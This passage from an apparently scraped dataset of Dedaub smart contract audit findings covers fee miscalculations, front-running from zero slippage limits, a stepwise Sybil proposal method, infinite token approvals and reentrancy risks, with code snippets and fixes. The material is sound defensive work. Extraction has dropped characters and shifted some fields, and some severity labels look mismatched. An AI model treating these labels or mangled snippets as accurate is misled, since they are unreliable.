Jan'23.pdf", - "body": "ER", - "labels": [ - "Dedaub", - "Aori", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", - "body": "denitions do not handle old tokens RESOLVED In AoriCall the code uses calls to the IERC20 transfer and transferFrom functions, e.g., in: function sellerSettlementOTM() public nonReentrant returns (uint256) { 2 UNDERLYING.transfer(msg.sender, optionsSold); } As well as in: function mintCall(uint256 quantityOfUNDERLYING, uint256 seatId) public nonReentrant returns (uint256) { ... UNDERLYING.transferFrom(msg.sender, address(this), quantityOfUNDERLYING); ... } The denition of the transfer and transferFrom functions used in the contract (from the OpenZeppelin libraries) expects a boolean return value: function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to,uint256 amount) external returns (bool); However, old tokens (most notably USDTthe highest-capitalization ERC-20 token) predate the ERC-20 token specication and support a denition of transfer and transferFrom that does not return anything. Therefore, the current code will revert if used with USDT as the underlying token. However, because it is a stablecoin, we do not expect it to be used as the underlying token of call options. A13 Compiler bugs INFO The code has the compile pragmas 0.8.11^ or 0.8.13^. For deployment, we recommend no floating pragmas, i.e., a specic version, so as to be condent about the baseline guarantees oered by the compiler. Versions 0.8.11 and 0.8.13, in particular, have some 2 known bugs, which we do not believe to aect the correctness of the contracts.", - "labels": [ - "Dedaub", - "Aori", - "Severity: Critical" - ] - }, - { - "title": "can be simplied from Uint32 to Bool ", - "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", - "body": " RESOLVED In aZil, the eld tmp_buffer_exists_at_ssn is declared as Uint32: field tmp_buffer_exists_at_ssn: Uint32 = uint32_zero However, all writes to this eld are either 0 or 1, and all reads from it are followed up by an equality check with 0 and a match statement - the eld is a boolean la C. It is recommended that the eld be declared Bool, in order to improve code readability and simplify the snippets that read from it.", - "labels": [ - "Dedaub", - "Avely", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", - "body": "assignment sequence can be simplied RESOLVED In the aZil.CalculateTotalWithdrawalBlock procedure, can be simplied: procedure CalculateTotalWithdrawalBlock(deleg_withdrawal: Pair ByStr20 Withdrawal) match deleg_withdrawal with | Pair delegator withdrawal => match withdrawal with | Withdrawal withdraw_token_amt withdraw_stake_amt => match withdrawal_unbonded_o with | Some (Withdrawal token stake) => updated_token = builtin add token withdraw_token_amt; updated_stake = builtin add stake withdraw_stake_amt; unbonded_withdrawal = Withdrawal updated_token updated_stake; withdrawal_unbonded[delegator] := unbonded_withdrawal | None => (* Dedaub: This branch can be simplified to withdrawal_unbonded[delegator] := withdrawal *) unbonded_withdrawal = Withdrawal withdraw_token_amt withdraw_stake_amt; withdrawal_unbonded[delegator] := unbonded_withdrawal end end end end The inner matchs None case can become: | None => withdrawal_unbonded[delegator] := withdrawal end", - "labels": [ - "Dedaub", - "Avely", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", - "body": "of multisig_wallet.RevokeSignature can be simplied DISMISSED In multisig_wallet, RevokeSignature can be simplied. The transition checks whether there are zero signatures through c_is_zero = builtin eq c zero; But for this line of code to execute exists signatures[transactionId][_sender]; must have already been true. Therefore it is guaranteed that there is at least one signature, and c_is_zero cannot be 0. Thus the following transition can be simplied: (* Revoke signature of existing transaction, if it has not yet been executed. *) transition RevokeSignature (transactionId : Uint32) sig <- exists signatures[transactionId][_sender]; match sig with | False => err = NotAlreadySigned; MakeError err | True => count <- signature_counts[transactionId]; match count with | None => err = IncorrectSignatureCount; MakeError err | Some c => c_is_zero = builtin eq c zero; match c_is_zero with | True => err = IncorrectSignatureCount; MakeError err | False => new_c = builtin sub c one; signature_counts[transactionId] := new_c; delete signatures[transactionId][_sender]; e = mk_signature_revoked_event transactionId; event e end end end end By replacing the Some c branch with the following: Some c => new_c = builtin sub c one; signature_counts[transactionId] := new_c; delete signatures[transactionId][_sender]; e = mk_signature_revoked_event transactionId; event e", - "labels": [ - "Dedaub", - "Avely", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Avely Finance/Avely Audit Report.pdf", - "body": "of azil.DrainBuffer logic can be simplied RESOLVED Transition DrainBuffer of aZil also admits some simplication: a bind action can be factored out, since it occurs in both cases of a match, and another binding is redundant, both shown in comments below. transition DrainBuffer(buffer_addr: ByStr20) RequireAdmin; buffers_addrs <- buffers_addresses; is_buffer = is_buffer_addr buffers_addrs buffer_addr; match is_buffer with | True => FetchRemoteBufferExistsAtSSN buffer_addr; (* local_lastrewardcycle updated in FetchRemoteBufferExistsAtSSN *) lrc <- local_lastrewardcycle; RequireNotDrainedBuffer buffer_addr lrc; var_buffer_exists <- tmp_buffer_exists_at_ssn; is_exists = builtin eq var_buffer_exists uint32_one; match is_exists with | True => holder_addr <- holder_address; ClaimRewards buffer_addr; ClaimRewards holder_addr; RequestDelegatorSwap buffer_addr holder_addr; ConfirmDelegatorSwap buffer_addr holder_addr | False => holder_addr <- holder_address; (* Dedaub: This is also done in the True branch of the match *) ClaimRewards holder_addr end | False => e = BufferAddrUnknown; ThrowError e end; lrc <- local_lastrewardcycle; (* Dedaub: extraneous, it was already done above in the True case, and the False case is irrelevant *) buffer_drained_cycle[buffer_addr] := lrc; tmp_buffer_exists_at_ssn := uint32_zero end Buer/Holder have permissions for transitions they will never A5 execute DISMISSED As can be seen in the earlier transition graph, Buer is allowed to initiate aZil.CompleteWithdrawalSuccessCallBack but never will. Holder is allowed to initiate aZil.DelegateStakeSuccessCallBack but never will.", - "labels": [ - "Dedaub", - "Avely", - "Severity: Informational" - ] - }, - { - "title": "suggestions ", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Delta Audit - Sep 22.pdf", - "body": " INFO In the RelayEncoder.sol contract the function encode_withdraw_unbonded() uses several arithmetic operations with numbers that can be expressed as powers of 2. Thus, the multiplications and the divisions can be replaced with bitwise operations for more eiciency and maintainability. Furthermore, in Encoding.sol::scaleCompactUint:45 the 0xFF can be removed since the uint8() casting will give the same result even without the AND operation.", - "labels": [ - "Dedaub", - "Lido on Kusama,Polkadot Delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Delta Audit - Sep 22.pdf", - "body": "for minor changes ACKNOWLEDGED The auditors appreciated the inclusion of tests for all major changes. It would be benecial to include tests also for smaller changes that seem to be missing (for instance we could not nd a test for the case totalXcKSMPoolShares == 0 and totalVirtualXcKSMAmount != 0). Although this check is minor, the fact that it was missing in the previous version makes it worthy of a test. A3 Compiler known issues INFO The code is compiled with Solidity 0.8.0 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, to be condent about the baseline guarantees 4 oered by the compiler. Version 0.8.0, in particular, has some known bugs, which we do not believe aect the correctness of the contracts", - "labels": [ - "Dedaub", - "Lido on Kusama,Polkadot Delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", - "body": "tokens conversion Status Resolved In the following code snippet taken from arShield::liqAmts amounts ethOwed and tokensOwed are supposed to represent equal value. ethOwed = covBases[_covId].getShieldOwed( address(this) ); if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink); tokenFees = feesToLiq[_covId]; tokensOwed += tokenFees; require(tokensOwed > 0, \"No fees are owed.\"); uint256 ethFees = ethOwed > 0 ? ethOwed * tokenFees / tokensOwed : getEthValue(tokenFees); ethOwed += ethFees; However, code line tokensOwed += tokenFees; is misplaced resulting in an underpriced ethFees computation. We suggest that it be altered as follows: ethOwed = covBases[_covId].getShieldOwed( address(this) ); if (ethOwed > 0) tokensOwed = oracle.getTokensOwed(ethOwed, address(pToken), uTokenLink); tokenFees = feesToLiq[_covId]; require(tokensOwed + tokenFees > 0, \"No fees are owed.\"); 5 uint256 ethFees = ethOwed > 0 ? ethOwed * tokenFees / tokensOwed : getEthValue(tokenFees); ethOwed += ethFees; tokensOwed += tokenFees; for accuracy. H2 Duplicate subtraction of fees amount Resolved In arShield::payAmts the new ethValue is calculated as follows: // Ether value of all of the contract minus what we're liquidating. ethValue = (pToken.balanceOf( address(this) ) // Dedaub: _tokenFees amount is subtracted twice - _tokenFees - totalFeeAmts()) * _ethOwed / _tokensOwed totalFeeAmounts() also considers all liquidation fees, resulting in _tokenFees being subtracted twice. This can cause important harm to the protocol, as the total value of coverage purchased is underestimated. 6 Medium Severity ", - "labels": [ - "Dedaub", - "Armor arShield", - "Severity: High" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", - "body": "variable name We suggest that variable totalCost Status Resolved // Current cost per second for all Ether on contract. uint256 public totalCost; is renamed to totalCostPerSec for clarity.", - "labels": [ - "Dedaub", - "Armor arShield", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", - "body": "version of SafeMath library Resolved The code of the SafeMath library included is of an old version of compiler (< 0.8.0) being set to pragma solidity 0.8.4. However, compiler versions of 0.8.* revert on overow or underow, so this library has no effect. We suggest ArmorCore.sol not use this library and substitute SafeMath operations to normal ones, as well as SafeMath.sol contract be completely removed.", - "labels": [ - "Dedaub", - "Armor arShield", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor arShield audit Jun 21.pdf", - "body": "comment Resolved In arShield.sol function confirmHack has a misleading @dev comment: /** * Dedaub: used by governor, not controller * @dev Used by controller to confirm that a hack happened, which then locks the contract in anticipation of claims. **/ function confirmHack( uint256 _payoutBlock, uint256 _payoutAmt ) external isLocked onlyGov 9 A4 Extra protection of refunds in arShield Resolved Function CoverageBase::DisburseClaim is called by governance and transfers ETH amount to a selected _arShield, that is supposed to be used for claim refunds. /** * @dev Governance may disburse funds from a claim to the chosen shields. * @param _shield Address of the shield to disburse funds to. * @param _amount Amount of funds to disburse to the shield. **/ function disburseClaim( address payable _shield, uint256 _amount ) { external onlyGov require(shieldStats[_shield].lastUpdate > 0, \"Shield is not authorized to use this contract.\"); _shield.transfer(_amount); } We suggest that an extra requirement be added, checking that _shield is locked. In the opposite case the ETH amount transferred to the arShield contract as refunds can be immediately transferred to the beneciary. arShields contract locking/unlocking and disburseClaim() are all government-only actions, however this suggestion ensures security in case of false ordering of the governance transactions. 10", - "labels": [ - "Dedaub", - "Armor arShield", - "Severity: Informational" - ] - }, - { - "title": "might misbehave if bufferedRedeems != fundRaisedBalanc ", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", - "body": " RESOLVED The intended procedure of forced unbond requires seing bufferedRedeems == fundRaisedBalance via a call to setBufferedRedeems. As a consequence, LidoUnbond::_processEnabled expects these two amounts to be equal during forced unbond. function _processEnabled(int256 _stake) internal { ... // Dedaub: This code will break if bufferedRedeems is not exactly // if (isUnbondForced && isRedeemDisabled && bufferedRedeems == fundRaisedBalance) equal to fundRaisedBalance { targetStake = 0; } else { targetStake = getTotalPooledKSM() / ledgersLength; } } However , the contract does not guarantee that these amounts will be exactly equal. For instance, setBufferedRedeems only contains an inequality check: function setBufferedRedeems( uint256 _bufferedRedeems ) external redeemDisabled auth(ROLE_BEACON_MANAGER) { // Dedaub: Equality not guaranteed require(_bufferedRedeems <= fundRaisedBalance, \"LIDO: VALUE_TOO_BIG\"); bufferedRedeems = _bufferedRedeems; } It is also hard to verify that no other function modifying these amounts can be called after calling setBufferedRedeems. If, for any reason, the amounts are not exactly equal during forced unbond, the else branch in _processEnabled will be executed, causing targetState to be wrongly computed and likely leaving the contract in a problematic state. To make the contract more robust we recommend properly handling the case when the two amounts are dierent, possibly by reverting, instead of executing the wrong branch. For instance: function _processEnabled(int256 _stake) internal { ... // Dedaub: Modified code if (isUnbondForced && isRedeemDisabled) { require(bufferedRedeems == fundRaisedBalance); targetStake = 0; } else { targetStake = getTotalPooledKSM() / ledgersLength; } } Another to fundRaisedBalance within this function. approach could be actually set _bufferedRedeems = L2 Set bufferedRedeems = fundRaisedBalance and isUnbondForced in a single transaction RESOLVED Forced unbond is initiated by seing bufferedRedeems = fundRaisedBalance and isUnbondForced = true, via separate calls to setIsUnbondForced and setBufferedRedeems. If, however, only one of the two changes is performed, the 4 contract will likely misbehave. As a consequence, it would be safer to perform both updates in a single transaction OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend addressing them. ", - "labels": [ - "Dedaub", - "Lido on Kusama,Polkadot Liquid Staking Delta", - "Severity: Low" - ] - }, - { - "title": "and check all contracts before starting the forced unbond procedure ", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", - "body": " INFO The documented procedure for enabling forced unbond states to rst update the Ledger contract, then to chill all Ledgers, and afterwards to upgrade the Lido contract. Although this order can work, we nd it safer to rst nish all upgrades of all contracts, check that the upgraded contracts work by simulating calls to the corresponding methods, and only then perform any state updating calls.", - "labels": [ - "Dedaub", - "Lido on Kusama,Polkadot Liquid Staking Delta", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido on Kusama,Polkadot Liquid Staking Delta Audit - Apr 2023.pdf", - "body": "function name in ILidoUnbond RESOLVED ILidoUnbond contains a function setIsRedeemEnabled, while the method in LidoUnbond is called setIsRedeemDisabled. A3 Compiler known issues INFO The code is compiled with Solidity 0.8.0 or higher. For deployment, we recommend no floating pragmas, i.e., a specic version, to be condent about the baseline guarantees oered by the compiler. Version 0.8.0, in particular, has some known bugs, which we do not believe aect the correctness of the contracts.", - "labels": [ - "Dedaub", - "Lido on Kusama,Polkadot Liquid Staking Delta", - "Severity: Informational" - ] - }, - { - "title": "does not remove the innite approval for _token given to the old fee distributor. ", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": " RESOLVED SurplusBeneficiary::setFeeDistributor sets the new fee distributor contract and approves it to be able to transfer an innite amount of USDC. However, the approval of the old fee distributor is not revoked, allowing it to transfer any amount of USDC even though that contract might have been deemed obsolete or even vulnerable. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": "might get called with amount set to 0 RESOLVED SurplusBeneciary::dispatch computes the amount of USDC that should be transferred to the treasury and executes the transfer without checking rst that the transferred amount is not 0. function dispatch() external override nonReentrant { // .. uint256 tokenAmountToTreasury = FullMath.mulDiv(tokenAmount, _treasuryPercentage, 1e6); // Dedaub: tokenAmountToTreasury might be 0 due to _treasuryPercentage // being 0 or due to rounding. SafeERC20.safeTransfer(IERC20(token), _treasury, tokenAmountToTreasury); // .. } oldBalance and newBalance are equal when", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": "can be declared immutable INFO Storage variable _token of the SurplusBeneciary contract could be declared immutable, which would reduce the gas required to access it, as it is only set in the contracts constructor.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": "functions should ensure new value is not equal to old RESOLVED 0 Functions setFeeDistributor and setTreasury of the SurplusBeneciary contract could implement a check that ensures the new value, which is being set, is not equal to the old one.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": "USDC approval given to the FeeDistributor contract RESOLVED When seing the FeeDistributor contract for the SurplusBeneciary, innite USDC approval is also given to it. An alternative approach would be to set the approval (in function SurplusBeneficiary::dispatch) to the amount transferred prior to every transfer happening to avoid the dangers that come with approving a contract for an innite amount. Of course, there is a tradeo; the extra approve call happening in every call of dispatch would translate in higher gas costs, which could be considered bearable as the protocol is deployed on Optimism.", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Perpetual Protocol/Perp.fi V2 Audit Report - Sep '22.pdf", - "body": "debt threshold can be set to lower than the default INFO There is no check to ensure the whitelist debt threshold cannot be set to a value that would be less than the default debt threshold. This might be intentional but the term whitelist could have users expect that their debt threshold can only increase from the default. A6 Compiler known issues INFO The contracts were compiled with the Solidity compiler v0.7.6 which, at the time of writing, has a few known bugs. We inspected the bugs listed for this version and concluded that the subject code is unaected. 0 CENTRALIZATION ASPECTS As is common in many new protocols, the owner of the smart contracts yields considerable power over the protocol, including changing the contracts holding the users funds, killing contracts (FeeDistributor), using emergency unlock (vePERP)etc. In addition, the owner of the protocol has total control of several protocol parameters: - the treasury contract address - the percentage of funds going to the treasury - the fee distributor contract address - the insurance fund surplus threshold - the insurance fund surplus beneciary contract - the whitelisted debt threshold 0", - "labels": [ - "Dedaub", - "Perp.fi V2", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "math operations Status Resolved 4 In contract vArmor.sol functions vArmorToArmor() and armorToVArmor() perform numerical operations without checking for overow. In vArmorToArmor() overow of multiplication is not checked: function vArmorToArmor(uint256 _varmor) public view returns(uint256) { if(totalSupply() == 0){ return 0; } return _varmor * armor.balanceOf(address(this)) / totalSupply(); } Similar for armorToVArmor(). These functions are called during deposit and withdraw for calculating token amounts to be transferred, so erroneous results will have a signicant impact on the correctness of the protocol. M2 DoS by proposing proposals that need to be voted out quickly Open Any governance token holder can DoS their peers by proposing many unfavorable proposals, which need to be voted out. Voting proposals out will incur more gas fees as these are subject to a deadline (and may be voted down by multiple participants) whereas a proposer can also wait for the optimal time to spend gas. Low Severity ", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Medium" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "and gov privileged users not checked for address zero Status Open In Timelock.sol the addresses of gov and admin are set during the construction of the contract. Requirements for checking non-zero addresses is suggested.", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "introduce opportunities for reentrancy during swaps Open 5 In vArmor.sol, governance through a simple proposal can add tokenHelpers that are executed whenever a token transfer takes place. Token transfers also take place during swaps or other activities like deposits or withdrawals. The opportunity for reentrancy may not be immediately visible but if this were to be possible, consequences may include the draining of LP pool funds. L3 Proposer can propose multiple proposals (Sybil attack) Open A proposal can propose multiple proposals at the same time, defeating checks to disallow this: 1) Deposit enough $armor in the vArmor pool 2) Propose a proposal 3) Withdraw $armor from vArmor pool 4) Transfer $armor to a different address 5) Repeat The protocol offers the function cancel(uint proposalId) public to mitigate this attack, which proceeds in canceling a proposal if the proposers votes have fallen below the required threshold. However, this requires some users or the mutlisig to constantly be in a state of readiness. Other/Advisory Issues This section details issues that are not thought to directly affect the functionality of the project, but we recommend addressing. ", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "type declarations Status Open In contract ArmorGovernor.sol the parameters of several functions are declared as uint256, whereas most numerical variables are declared as uint. We suggest that a single style of declaration is used for clarity and consistency.", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "code style regarding subtractions Resolved In contract ArmorGovernor.sol functions cancel() and propose() include same subtraction operation (block.number - 1) twice but with slightly different implementation. One is executed immediately, while the other uses a safety checking function sub256(). In propose(): 6 require(varmor.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(block.number - 1), Similar in cancel(). Underow seems unlikely in this case, however we suggest that all subtractions are performed in the same way for consistency.", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "errors in error messages Partially resolved (error in AcceptGov() remains) In contract Timelock.sol functions acceptGov() and setPendingGov() contain a typo in the error messages of a requirement. In acceptGov(): require(msg.sender == address(this), \"Timelock::setPendingAdmin: Call must come from Timelock.\"); Should become: require(msg.sender == address(this), \"Timelock::setPendingGov: Call must come from Timelock.\"); Similar for setPendingGov().", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "event emitted Resolved In contract Timelock.sol the function setPendingGov() emits a wrong event. emit NewPendingAdmin(pendingGov); Should become emit NewPendingGov(pendingGov); 7", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "error messages Resolved In contract Timelock.sol the functions which are admin- or gov-only refer only to admin when it comes to authorization-related error messages. For example, in function queueTransaction() require(msg.sender == admin || msg.sender == gov, \"Timelock::queueTransaction: Call must come from admin.\"); Similar for functions cancelTransaction(), executeTransaction(). We suggest that the error messages are extended to include gov as well.", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", - "body": "code reuse Info In contract vArmor.sol the Checkpoint struct is used to record both account votes (storage variable checkpoints) and the total token supply (storage variable checkpointsTotal) while the struct eld is named votes, making the code slightly harder to follow. For example, in function _writeCheckpointTotal we inspect the following checkpointsTotal[nCheckpoints - 1].votes = newTotal; A7 Floating pragma Info Use of a oating pragma: The oating pragma pragma solidity ^0.6.6; is used in the Timelock contract allowing it to be compiled with any version of the Solidity compiler that is greater or equal to v0.6.6 and lower than v.0.7.0. Although the differences between these versions are small, oating pragmas should be avoided and the pragma should be xed to the version that will be used for the contracts deployment. ArmorGovernance contract uses pragma solidity ^0.6.12; which can be altered to the identical and simpler pragma solidity 0.6.12;.", - "labels": [ - "Dedaub", - "Armor Governance", - "Severity: Informational" - ] - }, - { - "title": "is susceptible to front-running RESOLVED The OptionExchange contracts redeem() function calls _swapExactInputSingle() with minimum output set to 0, making it susceptible to a front-running/sandwich aack when collateral is being liquidated. It is recommended that a minimum representing an acceptable loss on the swap is used instead. // OptionExchange::redeem function redeem(address[] memory _series) external { _onlyManager(); uint256 adLength = _series.length; for (uint256 i; i < adLength; i++) { // ... Dedaub: Code omied for brevity. if (otokenCollateralAsset == collateralAsset) { // ... Dedaub: Code omied for brevity. } else { // Dedaub: Minimum output set to 0. Susceptible to sandwich aacks. uint256 redeemableCollateral = _swapExactInputSingle(redeemAmount, 0, otokenCollateralAsset); SafeTransferLib.safeTransfer( ERC20(collateralAsset),address(liquidityPool),redeemableCollateral ); emit RedemptionSent( redeemableCollateral, collateralAsset, address(liquidityPool) ); } } } H2 VolatilityFeed updates are susceptible to front-running DISMISSED The VolatilityFeed contract uses the SABR model to compute the implied volatility of an option series. This model uses a number of parameters which are regularly updated by a keeper through the updateSabrParameters() function. It is possible for an aacker to front-run this update, transact with the LiquidityPool at the old price and then transact back with the LiquidityPool at the new price (computed in advance) if the dierence is protable. The Rysk team has indicated that trading will be paused for a few blocks to allow for parameter updates to happen and to eectively prevent this situation. MEDIUM SEVERITY: ID Description M1 No staleness check on the volatility feed ", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": " ACKNOWLEDGED The function quoteOptionPrice of the BeyondPricer contract retrieves the implied volatility from the function VolatilityFeed::getImpliedVolatility(). However, the returned value is not accompanied by a timestamp that can be used by the quoteOptionPrice() function to determine whether the value is stale or not. Since the implied volatility returned is aected by a keeper, which is responsible for updating the parameters of the underlying SABR model, it is recommended that staleness checks are implemented in order to avoid providing wrong implied volatility values. 5 LOW SEVERITY: ", - "labels": [ - "Dedaub", - "Rysk", - "Severity: High" - ] - }, - { - "title": "use of price feeds for the price of the underlyin ", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": " DISMISSED The BeyondPrice contract gets the price of the underlying token via the function _getUnderlyingPrice(), which consults a Chainlink price feed for the price. // BeyondPrice::_getUnderlyingPrice function _getUnderlyingPrice(address underlying, address _strikeAsset) internal view returns (uint256) { } return PriceFeed(protocol.priceFeed()). getNormalizedRate(underlying, _strikeAsset); However, when trying to obtain the same price in the function _getCollateralRequirements(), the addressBook is used to get the price feed from an Oracle implementing the IOracle interface. // BeyondPrice::_getCollateralRequirements function getCollateralRequirements( Types.OptionSeries memory _optionSeries, uint256 _amount ) internal view returns (uint256) { IMarginCalculator marginCalc = IMarginCalculator(addressBook.getMarginCalculator()); return marginCalc.getNakedMarginRequired( _optionSeries.underlying, _optionSeries.strikeAsset, _optionSeries.collateral, _amount / SCALE_FROM, _optionSeries.strike / SCALE_FROM, // assumes in e18 IOracle(addressBook.getOracle()).getPrice(_optionSeries.underlying), _optionSeries.expiration, 18, // always have the value return in e18 _optionSeries.isPut ); } The same addressBook technique is used in the getCollateral() function of the OptionRegistry contract and in the checkVaultHealth() function of the Option registry contract. It is recommended that this is refactored to use the Chainlink feed in order to avoid a situation where dierent prices for the underlying are obtained by dierent parts of the code. The Rysk team intends to keep the price close to what the Opyn system would quote, thus using the Opyn chainlink oracle is actually correct as it represents the actual situation that would occur for these given quotes L2 Multiple uses of div before mul in OptionExchanges _handleDHVBuyback() function RESOLVED In the OptionExchange contracts _handleDHVBuyback() function, a division is used before a multiplication operation at lines 925 and 932. It is recommended to use multiplication prior to division operations to avoid a possible loss of precision in the calculation. Alternatively, the mulDiv function of the PRBMath library could be used. CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Low" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "reentrancy in OptionRegistry::redeem() ACKNOWLEDGED The OptionRegistrys redeem() function is not access controlled and calls the OpynInteractions library contracts redeem() function, which interacts with the GammaController and the option and collateral tokens. Dedaubs static analysis tools warned about a potential reentrancy risk. Our manual inspection identied no such immediate risk, but as the tokens supported are not strictly dened and a future version of the code could potentially make such an aack possible, it is advisable to add a reentrancy guard around OptionRegistrys redeem() function.", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "optimisation in OptionRegistrys open() function ACKNOWLEDGED The OptionRegistry::open() function performs the assignment vaultIds[series] = vaultId_ on line 271. But this can be moved into the if block starting at line 255, since the vaultId_ only changes value if this if block is executed. // OpenRegistry::open function open( address _series, uint256 amount, uint256 collateralAmount ) external returns (bool, uint256) { _isLiquidityPool(); // make sure the options are ok to open Types.OptionSeries memory series = seriesInfo[_series]; // assumes strike in e8 if (series.expiration <= block.timestamp) { revert AlreadyExpired(); } // ... Dedaub: Code omied for brevity. if (vaultId_ == 0) { vaultId_ = (controller.getAccountVaultCounter(address(this))) + 1; vaultCount++; } // ... Dedaub: Code omied for brevity. // Dedaub: Below assignment can be moved inside the above block. vaultIds[_series] = vaultId_; // returns in collateral decimals return (true, collateralAmount); }", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", - "body": "comment in OptionExchanges _swapExactInputSingle() function RESOLVED The OptionExchanges _swapExactInputSingle() function denition is annotated with several misleading comments. For instance, it mentions that _amountIn has to be in WETH when it can support any collateral token. It also mentions that _assetIn is the stablecoin that is bought, when it is in fact the collateral that is swapped. The description of the function, which reads function to sell exact amount of WETH to decrease delta is incorrect. // OptionExchange::_swapExactInputSingle /** @notice function to sell exact amount of wETH to decrease delta * @param _amountIn the exact amount of wETH to sell * @param _amountOutMinimum the min amount of stablecoin willing to receive. Slippage limit. * @param _assetIn the stablecoin to buy * @return the amount of usdc received */ function _swapExactInputSingle( 1 uint256 _amountIn, uint256 _amountOutMinimum, address _assetIn) internal returns (uint256) { // ... Dedaub: Code omied for brevity. }", - "labels": [ - "Dedaub", - "Rysk", - "Severity: Informational" - ] - }, - { - "title": "", - "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb 